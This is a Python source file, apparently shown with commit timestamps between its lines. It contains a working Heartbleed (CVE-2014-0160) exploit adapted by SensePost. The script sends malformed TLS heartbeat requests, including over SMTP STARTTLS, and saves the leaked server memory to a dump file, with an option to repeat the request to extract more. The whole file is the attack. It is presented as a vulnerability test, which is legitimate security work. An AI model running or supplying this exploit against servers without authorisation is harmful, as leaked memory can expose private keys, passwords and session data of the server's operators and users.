2016-10-20 02:54:29 +00:00
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
2019-02-17 22:47:18 +00:00
from __future__ import print_function
from builtins import str
from builtins import range
2016-10-20 02:54:29 +00:00
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib
options = OptionParser ( usage = ' % prog server [options] ' , description = ' Test for SSL heartbeat vulnerability (CVE-2014-0160) ' )
options . add_option ( ' -p ' , ' --port ' , type = ' int ' , default = 443 , help = ' TCP port to test (default: 443) ' )
options . add_option ( ' -n ' , ' --num ' , type = ' int ' , default = 1 , help = ' Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1) ' )
options . add_option ( ' -f ' , ' --file ' , type = ' str ' , default = ' dump.bin ' , help = ' Filename to write dumped memory too (default: dump.bin) ' )
options . add_option ( ' -q ' , ' --quiet ' , default = False , help = ' Do not display the memory dump ' , action = ' store_true ' )
options . add_option ( ' -s ' , ' --starttls ' , action = ' store_true ' , default = False , help = ' Check STARTTLS (smtp only right now) ' )
def h2bin ( x ) :
return x . replace ( ' ' , ' ' ) . replace ( ' \n ' , ' ' ) . decode ( ' hex ' )
hello = h2bin ( '''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5 b 90 9 d 9 b 72 0 b bc 0 c bc 2 b 92 a8 48 97 cf
bd 39 04 cc 16 0 a 85 03 90 9 f 77 04 33 d4 de 00
00 66 c0 14 c0 0 a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0 f c0 05 00 35 00 84 c0 12 c0 08 c0 1 c
c0 1 b 00 16 00 13 c0 0 d c0 03 00 0 a c0 13 c0 09
c0 1 f c0 1 e 00 33 00 32 00 9 a 00 99 00 45 00 44
c0 0 e c0 04 00 2 f 00 96 00 41 c0 11 c0 07 c0 0 c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0 b 00 04
03 00 01 02 00 0 a 00 34 00 32 00 0 e 00 0 d 00 19
00 0 b 00 0 c 00 18 00 09 00 0 a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0 f 00 10 00 11 00 23 00 00
00 0 f 00 01 01
''' )
hbv10 = h2bin ( '''
18 03 01 00 03
01 40 00
''' )
hbv11 = h2bin ( '''
18 03 02 00 03
01 40 00
''' )
hbv12 = h2bin ( '''
18 03 03 00 03
01 40 00
''' )
def hexdump ( s , dumpf , quiet ) :
dump = open ( dumpf , ' a ' )
dump . write ( s )
dump . close ( )
if quiet : return
2019-02-17 22:47:18 +00:00
for b in range ( 0 , len ( s ) , 16 ) :
2016-10-20 02:54:29 +00:00
lin = [ c for c in s [ b : b + 16 ] ]
hxdat = ' ' . join ( ' %02X ' % ord ( c ) for c in lin )
pdat = ' ' . join ( ( c if 32 < = ord ( c ) < = 126 else ' . ' ) for c in lin )
2019-02-17 22:47:18 +00:00
print ( ' %04x : %-48s %s ' % ( b , hxdat , pdat ) )
print ( )
2016-10-20 02:54:29 +00:00
def recvall ( s , length , timeout = 5 ) :
endtime = time . time ( ) + timeout
rdata = ' '
remain = length
while remain > 0 :
rtime = endtime - time . time ( )
if rtime < 0 :
if not rdata :
return None
else :
return rdata
r , w , e = select . select ( [ s ] , [ ] , [ ] , 5 )
if s in r :
data = s . recv ( remain )
# EOF?
if not data :
return None
rdata + = data
remain - = len ( data )
return rdata
def recvmsg ( s ) :
hdr = recvall ( s , 5 )
if hdr is None :
2019-02-17 22:47:18 +00:00
print ( ' Unexpected EOF receiving record header - server closed connection ' )
2016-10-20 02:54:29 +00:00
return None , None , None
typ , ver , ln = struct . unpack ( ' >BHH ' , hdr )
pay = recvall ( s , ln , 10 )
if pay is None :
2019-02-17 22:47:18 +00:00
print ( ' Unexpected EOF receiving record payload - server closed connection ' )
2016-10-20 02:54:29 +00:00
return None , None , None
2019-02-17 22:47:18 +00:00
print ( ' ... received message: type = %d , ver = %04x , length = %d ' % ( typ , ver , len ( pay ) ) )
2016-10-20 02:54:29 +00:00
return typ , ver , pay
def hit_hb ( s , dumpf , host , quiet ) :
while True :
typ , ver , pay = recvmsg ( s )
if typ is None :
2019-02-17 22:47:18 +00:00
print ( ' No heartbeat response received from ' + host + ' , server likely not vulnerable ' )
2016-10-20 02:54:29 +00:00
return False
if typ == 24 :
2019-02-17 22:47:18 +00:00
if not quiet : print ( ' Received heartbeat response: ' )
2016-10-20 02:54:29 +00:00
hexdump ( pay , dumpf , quiet )
if len ( pay ) > 3 :
2019-02-17 22:47:18 +00:00
print ( ' WARNING: server ' + host + ' returned more data than it should - server is vulnerable! ' )
2016-10-20 02:54:29 +00:00
else :
2019-02-17 22:47:18 +00:00
print ( ' Server ' + host + ' processed malformed heartbeat, but did not return any extra data. ' )
2016-10-20 02:54:29 +00:00
return True
if typ == 21 :
2019-02-17 22:47:18 +00:00
if not quiet : print ( ' Received alert: ' )
2016-10-20 02:54:29 +00:00
hexdump ( pay , dumpf , quiet )
2019-02-17 22:47:18 +00:00
print ( ' Server ' + host + ' returned error, likely not vulnerable ' )
2016-10-20 02:54:29 +00:00
return False
def connect ( host , port , quiet ) :
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
2019-02-17 22:47:18 +00:00
if not quiet : print ( ' Connecting... ' )
2016-10-20 02:54:29 +00:00
sys . stdout . flush ( )
s . connect ( ( host , port ) )
return s
def tls ( s , quiet ) :
2019-02-17 22:47:18 +00:00
if not quiet : print ( ' Sending Client Hello... ' )
2016-10-20 02:54:29 +00:00
sys . stdout . flush ( )
s . send ( hello )
2019-02-17 22:47:18 +00:00
if not quiet : print ( ' Waiting for Server Hello... ' )
2016-10-20 02:54:29 +00:00
sys . stdout . flush ( )
def parseresp ( s ) :
while True :
typ , ver , pay = recvmsg ( s )
if typ == None :
2019-02-17 22:47:18 +00:00
print ( ' Server closed connection without sending Server Hello. ' )
2016-10-20 02:54:29 +00:00
return 0
# Look for server hello done message.
if typ == 22 and ord ( pay [ 0 ] ) == 0x0E :
return ver
def check ( host , port , dumpf , quiet , starttls ) :
response = False
if starttls :
try :
s = smtplib . SMTP ( host = host , port = port )
s . ehlo ( )
s . starttls ( )
except smtplib . SMTPException :
2019-02-17 22:47:18 +00:00
print ( ' STARTTLS not supported... ' )
2016-10-20 02:54:29 +00:00
s . quit ( )
return False
2019-02-17 22:47:18 +00:00
print ( ' STARTTLS supported... ' )
2016-10-20 02:54:29 +00:00
s . quit ( )
s = connect ( host , port , quiet )
s . settimeout ( 1 )
try :
re = s . recv ( 1024 )
s . send ( ' ehlo starttlstest \r \n ' )
re = s . recv ( 1024 )
s . send ( ' starttls \r \n ' )
re = s . recv ( 1024 )
except socket . timeout :
2019-02-17 22:47:18 +00:00
print ( ' Timeout issues, going ahead anyway, but it is probably broken ... ' )
2016-10-20 02:54:29 +00:00
tls ( s , quiet )
else :
s = connect ( host , port , quiet )
tls ( s , quiet )
version = parseresp ( s )
if version == 0 :
2019-02-17 22:47:18 +00:00
if not quiet : print ( " Got an error while parsing the response, bailing ... " )
2016-10-20 02:54:29 +00:00
return False
else :
version = version - 0x0300
2019-02-17 22:47:18 +00:00
if not quiet : print ( " Server TLS version was 1. %d \n " % version )
2016-10-20 02:54:29 +00:00
2019-02-17 22:47:18 +00:00
if not quiet : print ( ' Sending heartbeat request... ' )
2016-10-20 02:54:29 +00:00
sys . stdout . flush ( )
if ( version == 1 ) :
s . send ( hbv10 )
response = hit_hb ( s , dumpf , host , quiet )
if ( version == 2 ) :
s . send ( hbv11 )
response = hit_hb ( s , dumpf , host , quiet )
if ( version == 3 ) :
s . send ( hbv12 )
response = hit_hb ( s , dumpf , host , quiet )
s . close ( )
return response
def main ( ) :
opts , args = options . parse_args ( )
if len ( args ) < 1 :
options . print_help ( )
return
2019-02-17 22:47:18 +00:00
print ( ' Scanning ' + args [ 0 ] + ' on port ' + str ( opts . port ) )
for i in range ( 0 , opts . num ) :
2016-10-20 02:54:29 +00:00
check ( args [ 0 ] , opts . port , opts . file , opts . quiet , opts . starttls )
if __name__ == ' __main__ ' :
main ( )